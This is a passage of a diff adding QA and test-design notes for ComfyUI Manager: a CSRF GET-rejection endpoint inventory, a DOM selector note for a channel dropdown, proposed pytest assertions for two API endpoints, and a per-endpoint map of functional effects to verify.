| 11 | `/v2/comfyui_manager/comfyui_switch_version` | GET | POST | high+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/comfyui_manager/comfyui_switch_version]` |
|
||||
| 12 | `/v2/manager/db_mode` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/db_mode]` |
|
||||
| 13 | `/v2/manager/policy/update` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/policy/update]` |
|
||||
| 14 | `/v2/manager/channel_url_list` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/channel_url_list]` |
|
||||
| 15 | `/v2/customnode/import_fail_info` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info]` |
|
||||
| 16 | `/v2/customnode/import_fail_info_bulk` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info_bulk]` |
|
||||
|
||||
**Conversion Breakdown** (reconciles commit 99caef55 body with 16-row fixture):
|
||||
- **Pure GET → POST conversions**: 9 endpoints (rows 1-4, 7-11) — confirmed write-only operations formerly exposed via GET.
|
||||
- **Dual-method endpoints** (GET + POST coexist after fix): 3 endpoints (rows 12-14) — the POST variant carries write semantics; GET preserved for read-only retrieval and is covered by Goal CSRF-M3.
|
||||
- **Pre-existing POST endpoints** (included in the fixture for contract completeness): 4 endpoints (rows 5-6, 15-16) — these were already POST before 99caef55 but remain part of the CSRF rejection contract so any future regression to GET is caught.
|
||||
|
||||
**Scope Note**: This inventory narrowly documents the method-restriction layer. Complementary CSRF defenses (Origin/Referer validation, same-site cookies, anti-CSRF tokens, cross-site form POST rejection) are out of scope for this contract and tracked in `verification_design.md` § 10.2.
|
||||
|
||||
---
|
||||
*End of Report A*
|
||||
@@ -0,0 +1,104 @@
|
||||
# Legacy UI — Channel Combo DOM Mapping Note
|
||||
|
||||
**Date**: 2026-04-20
|
||||
**Context**: WI-OO Item 3 follow-up — bloat sweep `dev:ci-022` B8 "Channel dropdown"
|
||||
test was title-mismatched (filter `/Cache|Local|Channel/` matched DB combo's
|
||||
option text, not the Channel combo itself). This record documents the correct
|
||||
DOM locators for any future reactivation.
|
||||
**Scope**: Record only. No test code added; no audit impact.
|
||||
|
||||
---
|
||||
|
||||
## 1. Source Locations
|
||||
|
||||
| Artifact | Path | Lines | Role |
|
||||
|----------|------|-------|------|
|
||||
| Channel combo creation + registration | `comfyui_manager/js/comfyui-manager.js` | 960-986 | Creates the `<select>`, installs title attr, fetches options from API, mounts into the settings panel via `createSettingsCombo` |
|
||||
| Settings row wrapper | `comfyui_manager/js/comfyui-gui-builder.js` | 15-27 | Exports `createSettingsCombo(label, content)` that wraps the combo in the label/input row |
|
||||
|
||||
## 2. DOM Structure
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Tag | `<select>` |
|
||||
| Classes | `cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled` |
|
||||
| `title` attribute | `"Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list."` (set at L961) |
|
||||
| Options source | `/v2/manager/channel_url_list` — populated asynchronously at L963-984 |
|
||||
| Option texts | Channel URL names (e.g. `default`, `recent`, custom URLs); NOT the word "Channel" |
|
||||
| Label wrapper | `div.setting-item > div.flex.flex-row.items-center.gap-2 > div.form-label.flex.grow.items-center > span.text-muted` with `textContent: "Channel"` (from `createSettingsCombo`) |
|
||||
| Render timing | Select element itself: **sync** at menu build time. Options: **async** after `channel_url_list` fetch resolves |
|
||||
|
||||
## 3. Why the Original `hasText: /Cache|Local|Channel/` Filter Failed
|
||||
|
||||
The removed test used `hasText` to find the Channel dropdown, but that matcher
|
||||
searches the element's rendered text (its `<option>` children's text in the case
|
||||
of a `<select>`). The Channel combo's options are channel URL names — they do
|
||||
not contain the words `Cache`, `Local`, or `Channel`.
|
||||
|
||||
In contrast, the DB (datasrc) combo located a few lines above
|
||||
(comfyui-manager.js:957, built from `this.datasrc_combo` which seeds options
|
||||
`Cache` / `Local` / `Remote`) did contain those literals, so the filter
|
||||
silently resolved to the wrong `<select>`. The test asserted visibility, which
|
||||
passed against the DB combo, masking the mismatch until WI-OO's audit exposed
|
||||
it as B8 title-mismatch bloat.
|
||||
|
||||
## 4. Stable Selector Candidates
|
||||
|
||||
Ordered by robustness (most stable first):
|
||||
|
||||
1. **Title attribute (recommended)** — unique per L961
|
||||
```ts
|
||||
select[title^="Configure the channel"]
|
||||
```
|
||||
The leading prefix `Configure the channel` appears nowhere else in the
|
||||
managed panel. Safe against minor title copy edits as long as the opening
|
||||
phrase is preserved.
|
||||
|
||||
2. **Label-based scope** — DOM-structure dependent
|
||||
```ts
|
||||
.setting-item:has(span.text-muted:text-is("Channel")) select
|
||||
```
|
||||
Works as long as `createSettingsCombo` keeps its current wrapper shape and
|
||||
the exact label text `"Channel"`.
|
||||
|
||||
3. **Class-only** — NOT unique
|
||||
Classes `cm-menu-combo p-select ...` are shared with the DB, Update-Policy,
|
||||
and Share combos. Using classes alone will match multiple elements and is
|
||||
brittle.
|
||||
|
||||
## 5. Async-Population Note
|
||||
|
||||
Options for the Channel combo are populated via an async `fetchApi` call to
|
||||
`/v2/manager/channel_url_list` at L963. Two testing consequences:
|
||||
|
||||
- A visibility assertion on the `<select>` resolves immediately — the element
|
||||
is appended synchronously at L960 and mounted at L986.
|
||||
- An assertion about option count or specific option values MUST wait for the
|
||||
fetch to resolve. Use `expect.poll` (or equivalent) with a reasonable
|
||||
timeout (≥5s) rather than an immediate `toHaveCount` check.
|
||||
|
||||
## 6. Proposed Test Skeleton (Reference Only)
|
||||
|
||||
Not added to any spec — kept here for future activation.
|
||||
|
||||
```ts
|
||||
test('shows Channel dropdown (async-populated)', async ({ page }) => {
|
||||
await openManagerMenu(page);
|
||||
const dialog = page.locator('#cm-manager-dialog').first();
|
||||
const channelCombo = dialog.locator('select[title^="Configure the channel"]');
|
||||
await expect(channelCombo).toBeVisible();
|
||||
await expect.poll(
|
||||
async () => await channelCombo.locator('option').count(),
|
||||
{ timeout: 5000 }
|
||||
).toBeGreaterThan(0);
|
||||
});
|
||||
```
|
||||
|
||||
## 7. Decision
|
||||
|
||||
Test **not** added. This aligns with the post-bloat-sweep net-removal
|
||||
direction established by WI-OO: re-introducing a Channel-dropdown visibility
|
||||
test would re-expand the surface the sweep explicitly trimmed. The record is
|
||||
preserved here so that, if future coverage expansion prioritizes the settings
|
||||
panel, reactivation needs only copy the skeleton above and choose selector
|
||||
option 1 from §4.
|
||||
@@ -0,0 +1,215 @@
|
||||
# Research: Cluster G Semantics — imported_mode + boolean CLI flag
|
||||
|
||||
**Scope**: Wave3 Cluster G pre-research for dev assertion design.
|
||||
**Researcher**: gteam-teng (Explore, read-only)
|
||||
**Date**: 2026-04-19
|
||||
**Targets**: 2 | **Status**: both resolved
|
||||
|
||||
---
|
||||
|
||||
## Target 1 — `/v2/customnode/installed?mode=imported` Semantics
|
||||
|
||||
### (i) Current source behavior — FROZEN AT STARTUP confirmed
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_server.py`**
|
||||
|
||||
```python
|
||||
# L1510 — module-level evaluation at import time
|
||||
startup_time_installed_node_packs = core.get_installed_node_packs()
|
||||
|
||||
# L1513-1522
|
||||
@routes.get("/v2/customnode/installed")
|
||||
async def installed_list(request):
|
||||
mode = request.query.get("mode", "default")
|
||||
if mode == "imported":
|
||||
res = startup_time_installed_node_packs # frozen
|
||||
else:
|
||||
res = core.get_installed_node_packs() # live
|
||||
```
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_core.py:1599-1632`** — `get_installed_node_packs()` scans filesystem via `os.listdir()` on every call (LIVE).
|
||||
|
||||
**Design intent**: "imported" mode returns the snapshot captured exactly once, at module import time (when `from .glob import manager_server` runs during ComfyUI startup). Default mode re-scans the filesystem. The divergence surfaces after a runtime install — default grows, imported does not. Used by `TaskQueue` (`manager_server.py:211`) to know what was loaded vs what is now on disk.
|
||||
|
||||
### (ii) Test-env expected value
|
||||
|
||||
At startup, before any install action, `imported == default` in content (same filesystem state, same scan logic). The seed pack `ComfyUI_SigmoidOffsetScheduler` MUST be present in both.
|
||||
|
||||
Schema per entry: `{cnr_id: str, ver: str, aux_id: Optional[str], enabled: bool}` — see `manager_core.py:1614` & `:1630`.
|
||||
|
||||
### (iii) Wave3 assertion code snippet (Cluster G)
|
||||
|
||||
**Strategy A — schema + seed check (cheap, deterministic, no install needed):**
|
||||
|
||||
```python
|
||||
def test_installed_imported_mode(self, comfyui):
|
||||
"""GET ?mode=imported returns startup snapshot with documented schema.
|
||||
|
||||
Frozen-at-startup invariant: at test time (no installs have occurred
|
||||
since server start), the imported snapshot must match the live listing
|
||||
in cardinality + key set, and each entry must carry the documented
|
||||
InstalledPack schema.
|
||||
"""
|
||||
# Frozen snapshot
|
||||
resp_imp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed",
|
||||
params={"mode": "imported"}, timeout=10,
|
||||
)
|
||||
assert resp_imp.status_code == 200
|
||||
imported = resp_imp.json()
|
||||
assert isinstance(imported, dict), f"expected dict, got {type(imported).__name__}"
|
||||
|
||||
# E2E seed pack must be in the startup snapshot
|
||||
seed = "ComfyUI_SigmoidOffsetScheduler"
|
||||
assert seed in imported, (
|
||||
f"seed pack {seed!r} missing from imported snapshot: keys={list(imported)}"
|
||||
)
|
||||
# Schema: same as default mode
|
||||
entry = imported[seed]
|
||||
for required in ("cnr_id", "ver", "enabled"):
|
||||
assert required in entry, f"{seed} missing {required!r}: {entry!r}"
|
||||
|
||||
# Frozen invariant (cheap form): imported at startup == default at startup
|
||||
# (no install has occurred, so they must agree on keys + core fields)
|
||||
resp_def = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
default = resp_def.json()
|
||||
assert set(imported.keys()) == set(default.keys()), (
|
||||
f"imported != default at startup: "
|
||||
f"only-imported={set(imported)-set(default)}, "
|
||||
f"only-default={set(default)-set(imported)}"
|
||||
)
|
||||
```
|
||||
|
||||
**Strategy B — true frozen invariant (expensive, OPTIONAL, skip by default):**
|
||||
|
||||
```python
|
||||
@pytest.mark.skip(reason=
|
||||
"Requires post-startup install; E2E runtime install is slow and gated by "
|
||||
"security_level. Enable via PYTEST_FULL_IMPORTED_MODE=1 for nightly runs.")
|
||||
def test_imported_mode_is_frozen_after_install(self, comfyui):
|
||||
"""After installing a new pack, imported mode MUST still match startup.
|
||||
|
||||
This is the true 'frozen' test — install a pack, then verify default mode
|
||||
sees it while imported mode does not (it was snapshotted before install).
|
||||
"""
|
||||
snap_before = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
|
||||
).json()
|
||||
# ... trigger install of a fresh pack via /v2/customnode/install or FS manipulation ...
|
||||
snap_after = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
|
||||
).json()
|
||||
assert snap_before == snap_after, "imported snapshot mutated — frozen invariant broken"
|
||||
live_after = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10).json()
|
||||
assert set(live_after) - set(snap_after), "default mode did not reflect the new install"
|
||||
```
|
||||
|
||||
### (iv) Recommendation
|
||||
|
||||
- Adopt **Strategy A** as the WEAK-upgrade replacement — cheap, deterministic, ADEQUATE (positive path + field-level + cross-mode consistency).
|
||||
- Register **Strategy B** as `[E2E-DEBT]` in the scaffold; keep `@pytest.mark.skip` unless a nightly pipeline enables it.
|
||||
- Limitation to document: Strategy A cannot distinguish "frozen" from "live-and-coincidentally-equal" without a mid-session install — that's what Strategy B covers.
|
||||
|
||||
---
|
||||
|
||||
## Target 2 — `/v2/manager/is_legacy_manager_ui` boolean field (NOT /v2/manager/version)
|
||||
|
||||
**CORRECTION**: Dispatch text suggested `/v2/manager/version` as an example, but `test_returns_boolean_field` is defined inside `class TestIsLegacyManagerUI` (`tests/e2e/test_e2e_system_info.py:151-166`) and actually hits `/v2/manager/is_legacy_manager_ui`. `test_e2e_system_info.py::TestManagerVersion::test_version_returns_string` handles `/v2/manager/version` separately (returns `text/plain`, not JSON bool).
|
||||
|
||||
### (i) Current source behavior
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_server.py:1500-1506`**
|
||||
|
||||
```python
|
||||
@routes.get("/v2/manager/is_legacy_manager_ui")
|
||||
async def is_legacy_manager_ui(request):
|
||||
return web.json_response(
|
||||
{"is_legacy_manager_ui": args.enable_manager_legacy_ui},
|
||||
content_type="application/json",
|
||||
status=200,
|
||||
)
|
||||
```
|
||||
|
||||
**`args`** is imported from `comfy.cli_args` (upstream ComfyUI argparse — `comfyui_manager/__init__.py:6`). The flag `--enable-manager-legacy-ui` is registered by ComfyUI's own cli_args module (not in this repo). `action='store_true'` means default is `False` (bool), not `None`.
|
||||
|
||||
**Same handler exists in legacy server** at `comfyui_manager/legacy/manager_server.py:995-1001` — identical body.
|
||||
|
||||
**Also read in glob at `__init__.py:19`** to gate `from .legacy import manager_server` import. This confirms the value is bool at module load time (used as an `if`).
|
||||
|
||||
### (ii) Test-env expected value — DETERMINISTIC
|
||||
|
||||
**Source: `tests/e2e/scripts/start_comfyui.sh:73-79`** (launch command):
|
||||
|
||||
```bash
|
||||
nohup "$PY" "$COMFY_DIR/main.py" \
|
||||
--cpu \
|
||||
--enable-manager \
|
||||
--port "$PORT" \
|
||||
> "$LOG_FILE" 2>&1 &
|
||||
```
|
||||
|
||||
The E2E launcher passes NO `--enable-manager-legacy-ui` flag. Therefore in every E2E run: `args.enable_manager_legacy_ui = False`.
|
||||
|
||||
No `tests/e2e/**` file references the flag (grep confirmed: 0 matches).
|
||||
|
||||
### (iii) Wave3 assertion code snippet
|
||||
|
||||
**Strengthen from `isinstance(bool)` → exact-value `is False`:**
|
||||
|
||||
```python
|
||||
def test_returns_boolean_field(self, comfyui):
|
||||
"""GET /v2/manager/is_legacy_manager_ui returns {is_legacy_manager_ui: False} in E2E.
|
||||
|
||||
E2E env deterministically omits --enable-manager-legacy-ui
|
||||
(start_comfyui.sh passes only --cpu --enable-manager --port),
|
||||
so args.enable_manager_legacy_ui defaults to False (store_true default).
|
||||
Strengthened from type-only check to exact-value check.
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/is_legacy_manager_ui", timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
|
||||
data = resp.json()
|
||||
assert "is_legacy_manager_ui" in data, (
|
||||
f"Response missing 'is_legacy_manager_ui' field: {data}"
|
||||
)
|
||||
assert data["is_legacy_manager_ui"] is False, (
|
||||
f"E2E env omits --enable-manager-legacy-ui; expected False, "
|
||||
f"got {data['is_legacy_manager_ui']!r}. If E2E launcher changed, update assertion."
|
||||
)
|
||||
```
|
||||
|
||||
**Optional companion test (true-path coverage, currently out of scope):** A parametrized variant that restarts ComfyUI with `--enable-manager-legacy-ui` and asserts `is True`. Not recommended for Cluster G — server restart doubles suite runtime and the legacy path is already exercised by playwright `legacy-ui-*.spec.ts` tests.
|
||||
|
||||
### (iv) Recommendation
|
||||
|
||||
- Upgrade `isinstance(bool)` → `is False` as above. ADEQUATE (positive-path + field + exact value).
|
||||
- Document the launcher dependency in a comment (already in the snippet).
|
||||
- If the E2E launcher ever passes `--enable-manager-legacy-ui`, the assertion fails loudly with a clear message — correct behavior.
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Target | Current test | Upgrade path | Complexity | E2E-debt? |
|
||||
|---|---|---|---|---|
|
||||
| T1 imported_mode (`test_installed_imported_mode`) | dict-type only (WEAK) | Schema + seed + cross-mode keyset equality (ADEQUATE) | LOW | Yes — frozen-after-install invariant skipped (Strategy B) |
|
||||
| T2 boolean flag (`test_returns_boolean_field`) | `isinstance(bool)` (WEAK) | `is False` with launcher-deterministic comment (ADEQUATE) | LOW | No |
|
||||
|
||||
## Constraints / Limitations
|
||||
|
||||
- Research performed as Explore agent (read-only). No tests executed, no code modified.
|
||||
- `comfy.cli_args` is upstream (ComfyUI), not in manager repo — flag default verified via usage pattern (store_true action) and the `if args.enable_manager_legacy_ui:` truthiness check at `__init__.py:19`, which would crash with `TypeError` on `None` truthiness on integer comparisons but works on falsy-default bool.
|
||||
- Target 2 CORRECTION: dispatch referenced `/v2/manager/version` but the target test actually hits `/v2/manager/is_legacy_manager_ui` — verified via source inspection of test class.
|
||||
|
||||
## Grep/Read evidence index
|
||||
|
||||
| # | Command | Finding |
|
||||
|---|---|---|
|
||||
| 1 | `Grep pattern=/customnode/installed path=glob/manager_server.py` | L1510 snapshot init, L1513-1520 handler |
|
||||
| 2 | `Read tests/e2e/test_e2e_customnode_info.py` | L224-237 current WEAK test |
|
||||
| 3 | `Grep pattern=is_legacy_manager_ui path=comfyui_manager` | L1500-1506 glob handler, L995-1001 legacy handler |
|
||||
| 4 | `Grep pattern=enable-manager-legacy-ui path=tests/e2e` | 0 matches — flag not passed in E2E |
|
||||
| 5 | `Read tests/e2e/scripts/start_comfyui.sh` | L73-79 launch command (no legacy flag) |
|
||||
| 6 | `Read comfyui_manager/__init__.py` | L19 uses flag as truthy gate |
|
||||
| 7 | `Read glob/manager_core.py:1599-1632` | `get_installed_node_packs()` live filesystem scan |
|
||||
@@ -0,0 +1,514 @@
|
||||
# Scenario × Functional Effect Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Definition of "effect"**: The actual **functional purpose** of the feature — not just any side effect. A scenario is verified only when the intended outcome is observably achieved.
|
||||
|
||||
| Pattern | Effect definition |
|
||||
|---|---|
|
||||
| Success scenario | The feature's PURPOSE is fulfilled and observable |
|
||||
| Validation/security error | The purpose is NOT fulfilled + correct rejection signal |
|
||||
| State edge case | The purpose is correctly short-circuited or no-op |
|
||||
|
||||
Unless specified, status code alone is NOT sufficient evidence of effect.
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Glob v2 Endpoints
|
||||
|
||||
## 1.1 Queue Management (Install/Uninstall/Update/Fix/Disable/Enable/Model)
|
||||
|
||||
### POST /v2/manager/queue/task (kind=install)
|
||||
|
||||
Purpose: **install a custom node pack so it becomes loadable by ComfyUI**.
|
||||
|
||||
| Scenario | Functional effect to verify |
|
||||
|---|---|
|
||||
| Success (CNR pack) | (a) pack directory exists under `custom_nodes/`, (b) `.tracking` file present (CNR marker), (c) pack appears in GET `customnode/installed` with correct cnr_id + version, (d) worker `task_worker_lock` released after completion |
|
||||
| Success (nightly/URL) | (a) pack directory exists, (b) `.git` subdir present (git clone), (c) repo remote matches requested URL, (d) appears in installed list |
|
||||
| Success (skip_post_install + already disabled) | Pack moved from `.disabled/` back to active (enable shortcut), NOT a fresh install |
|
||||
| Validation error (bad `kind` value) | Task NOT queued (queue/status unchanged), queue/history does not contain this ui_id, pack NOT installed |
|
||||
| Validation error (missing ui_id/client_id) | Same: no queued task, no installation side-effect |
|
||||
| Worker auto-start | After task queued, `queue/status.is_processing=true` and eventually `done_count` increments |
|
||||
|
||||
### POST /v2/manager/queue/task (kind=uninstall)
|
||||
|
||||
Purpose: **remove an installed pack so it is no longer loaded**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Pack directory no longer exists under `custom_nodes/`, pack absent from `customnode/installed`, no import error on next ComfyUI reload |
|
||||
| Target not installed | No-op or error — purpose already satisfied; no state change |
|
||||
| Unknown pack | No filesystem change |
|
||||
|
||||
### POST /v2/manager/queue/task (kind=update)
|
||||
|
||||
Purpose: **update an installed pack to a newer version**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) pack directory still exists, (b) version actually changed (check `.tracking` content or pyproject version), (c) dependencies refreshed, (d) still loadable by ComfyUI |
|
||||
| Already up-to-date | No-op or confirmatory response; no downgrade |
|
||||
| Unknown pack / Update fails | No partial state (pack not removed nor corrupted) |
|
||||
|
||||
### POST /v2/manager/queue/task (kind=fix)
|
||||
|
||||
Purpose: **re-install dependencies of an existing pack without changing source**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) pack directory unchanged (same HEAD/version), (b) dependencies present in venv after fix, (c) pack import succeeds on reload |
|
||||
| Missing dependencies pre-fix | After fix, imports succeed |
|
||||
|
||||
### POST /v2/manager/queue/task (kind=disable)
|
||||
|
||||
Purpose: **stop loading a pack without removing it, reversibly**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) pack moved from `custom_nodes/<name>/` to `custom_nodes/.disabled/<name>/`, (b) on next ComfyUI reload, pack nodes NOT registered, (c) pack absent from `customnode/installed` (active) |
|
||||
| Already disabled | No-op; still in `.disabled/` |
|
||||
|
||||
### POST /v2/manager/queue/task (kind=enable)
|
||||
|
||||
Purpose: **restore a disabled pack to active, loadable state**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) pack restored from `.disabled/` to active `custom_nodes/` (may be case-normalized CNR name), (b) on reload, nodes registered again, (c) appears in `customnode/installed` |
|
||||
| Not disabled (already active) | No-op; no regression |
|
||||
|
||||
### POST /v2/manager/queue/install_model
|
||||
|
||||
Purpose: **download a model file to the appropriate models/ subdirectory**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) task queued (queue/status reflects), (b) eventually file downloaded to `models/<type>/<filename>`, (c) file size > 0, (d) visible via `externalmodel/getlist` with `installed=True` (legacy) |
|
||||
| Missing client_id/ui_id | Task NOT queued; no download attempted |
|
||||
| Invalid metadata | Task NOT queued |
|
||||
| Not in whitelist (legacy check) | Download rejected; no file written |
|
||||
| Non-safetensors + security<high+ | Rejected; no file written |
|
||||
|
||||
### POST /v2/manager/queue/update_all
|
||||
|
||||
Purpose: **queue update tasks for ALL currently active packs**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | queue/status.pending_count == N where N = (active_nodes + unknown_active_nodes - manager-skip). Each queued task has correct `kind=update` + correct `node_name` |
|
||||
| Security denied (<middle+) | 403; NO tasks queued; queue/status unchanged |
|
||||
| Missing params | 400; NO tasks queued |
|
||||
| mode=local | No remote fetch; uses local channel data |
|
||||
| Desktop build | `comfyui-manager` pack NOT in queued tasks |
|
||||
|
||||
### POST /v2/manager/queue/update_comfyui
|
||||
|
||||
Purpose: **queue a self-update task for ComfyUI core**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) queue/status.total_count increased by 1, (b) the queued task has `kind=update-comfyui` with `params.is_stable` matching request/config |
|
||||
| Missing params | 400; no task queued |
|
||||
| stable=true overrides config | Task params.is_stable==True regardless of config policy |
|
||||
|
||||
### POST /v2/manager/queue/reset
|
||||
|
||||
Purpose: **clear all queued/running/history tasks**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | queue/status: total_count=0, done_count=0, pending_count=0, in_progress_count=0, is_processing=false |
|
||||
| Already empty | Same; idempotent |
|
||||
|
||||
### POST /v2/manager/queue/start
|
||||
|
||||
Purpose: **start the worker thread to process queued tasks**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Worker not running | queue/status.is_processing becomes true (may be momentary if queue empty); tasks transition pending → running → done |
|
||||
| Already running | 201; is_processing remains true; no duplicate worker spawned |
|
||||
| Empty queue | Worker starts and idles; no errors |
|
||||
|
||||
### GET /v2/manager/queue/status
|
||||
|
||||
Purpose: **accurately reflect the current queue state**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| No filter | Counts match actual internal queue state (cross-check via known queued tasks) |
|
||||
| With client_id filter | client_id echo + filtered counts correspond to only that client's tasks |
|
||||
| Fields shape | total/done/in_progress/pending/is_processing all present + correct types |
|
||||
|
||||
### GET /v2/manager/queue/history
|
||||
|
||||
Purpose: **retrieve completed task records for introspection**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| id=<batch_id> query | Returns JSON content of that batch file (not another's) |
|
||||
| Path traversal | file read DOES NOT occur; returns 400 |
|
||||
| ui_id filter | Returns the matching single task record |
|
||||
| client_id filter | Returns only that client's history |
|
||||
| Pagination | Result size ≤ max_items |
|
||||
| Serialization limitation | If 400 returned, server didn't crash; no corrupted state |
|
||||
|
||||
### GET /v2/manager/queue/history_list
|
||||
|
||||
Purpose: **list available batch history file IDs**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Returned `ids` ⊆ files in `manager_batch_history_path` (mtime-desc sorted) |
|
||||
| Empty | ids=[] reflects empty dir |
|
||||
|
||||
## 1.2 Custom Node Info
|
||||
|
||||
### GET /v2/customnode/getmappings
|
||||
|
||||
Purpose: **provide node→pack mapping for the UI to resolve missing nodes**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success mode=local/cache/remote | Returned dict: values are `[node_list, metadata]`, all currently-loaded `NODE_CLASS_MAPPINGS` either present in a node_list OR matched by `nodename_pattern` regex |
|
||||
| mode=nickname | Nicknames filter applied (each entry has nickname field) |
|
||||
| Missing mode query | 500/KeyError; no partial data returned |
|
||||
|
||||
### GET /v2/customnode/fetch_updates (deprecated)
|
||||
|
||||
Purpose: **(deprecated) was previously used to fetch git updates**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Always | 410 + `{deprecated: true}`. No git fetch performed (no disk I/O on .git dirs) |
|
||||
|
||||
### GET /v2/customnode/installed
|
||||
|
||||
Purpose: **list currently-installed packs with metadata for the UI**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| mode=default | Dict reflects real filesystem scan of `custom_nodes/`: every dir with proper marker appears |
|
||||
| mode=imported | Returns snapshot frozen at startup (unchanged after runtime installs) — proves stability |
|
||||
| Newly installed pack | After install, default mode reflects it; imported mode does NOT |
|
||||
|
||||
### POST /v2/customnode/import_fail_info
|
||||
|
||||
Purpose: **return detailed traceback/message for a pack that failed to import at startup**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Known failed pack via cnr_id | 200 + body has `msg` + `traceback` matching `cm_global.error_dict[module]` |
|
||||
| Known failed via url | Same |
|
||||
| Unknown pack | 400 (no info); `error_dict` NOT mutated |
|
||||
| Missing fields / non-dict | 400 with appropriate text |
|
||||
|
||||
### POST /v2/customnode/import_fail_info_bulk
|
||||
|
||||
Purpose: **same as above but for multiple packs in one call**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| cnr_ids list | Each key maps to either {error, traceback} (if failed) or null (if no failure). Unknown cnr_ids → null |
|
||||
| urls list | Same semantics |
|
||||
| Empty lists | 400 |
|
||||
| Mixed types inside list | 400 or skip with per-item error |
|
||||
|
||||
## 1.3 Snapshots
|
||||
|
||||
### GET /v2/snapshot/get_current
|
||||
|
||||
Purpose: **capture and return the current system state (not persist it)**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Returned dict contains `comfyui` (hash/tag), `git_custom_nodes` (list), `cnr_custom_nodes` (list), `pips`. Consistent with actual installed state |
|
||||
|
||||
### POST /v2/snapshot/save
|
||||
|
||||
Purpose: **persist current system state so it can be restored later**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) new file created in `manager_snapshot_path` with timestamped name, (b) file content == get_current() at save time, (c) appears in `snapshot/getlist.items` |
|
||||
|
||||
### GET /v2/snapshot/getlist
|
||||
|
||||
Purpose: **list saved snapshots for UI selection**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | items list matches .json files in snapshot dir (without extension), sorted desc |
|
||||
| After save | New snapshot name appears at top |
|
||||
| After remove | Removed name absent |
|
||||
|
||||
### POST /v2/snapshot/remove
|
||||
|
||||
Purpose: **delete a saved snapshot permanently**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | File removed from disk; absent from getlist |
|
||||
| Nonexistent target | No change; 200 (no-op) |
|
||||
| Path traversal | File NOT removed; 400; any other files untouched |
|
||||
| Security denied | File NOT removed; 403 |
|
||||
|
||||
### POST /v2/snapshot/restore
|
||||
|
||||
Purpose: **schedule a snapshot to be applied on next server restart** (the actual restore happens at startup).
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | `restore-snapshot.json` copied to `manager_startup_script_path`. Next reboot → actual state reverts to snapshot (verifiable by reboot + get_current comparison) |
|
||||
| Nonexistent target | No marker file created; 400 |
|
||||
| Path traversal | No file operations; 400 |
|
||||
| Security denied | No marker file; 403 |
|
||||
|
||||
## 1.4 Configuration
|
||||
|
||||
### GET /v2/manager/db_mode
|
||||
|
||||
Purpose: **return current DB source mode config**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Returned text == `core.get_config()["db_mode"]` value in `config.ini` |
|
||||
|
||||
### POST /v2/manager/db_mode
|
||||
|
||||
Purpose: **persist new DB mode to config.ini**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Valid value | (a) config.ini written to disk with new value, (b) GET returns new value, (c) survives process restart |
|
||||
| Malformed JSON / missing value | 400; config.ini UNCHANGED |
|
||||
|
||||
### GET/POST /v2/manager/policy/update
|
||||
|
||||
Purpose: **read/persist update policy (stable vs nightly)**.
|
||||
|
||||
Same verification pattern as db_mode but for `update_policy` key.
|
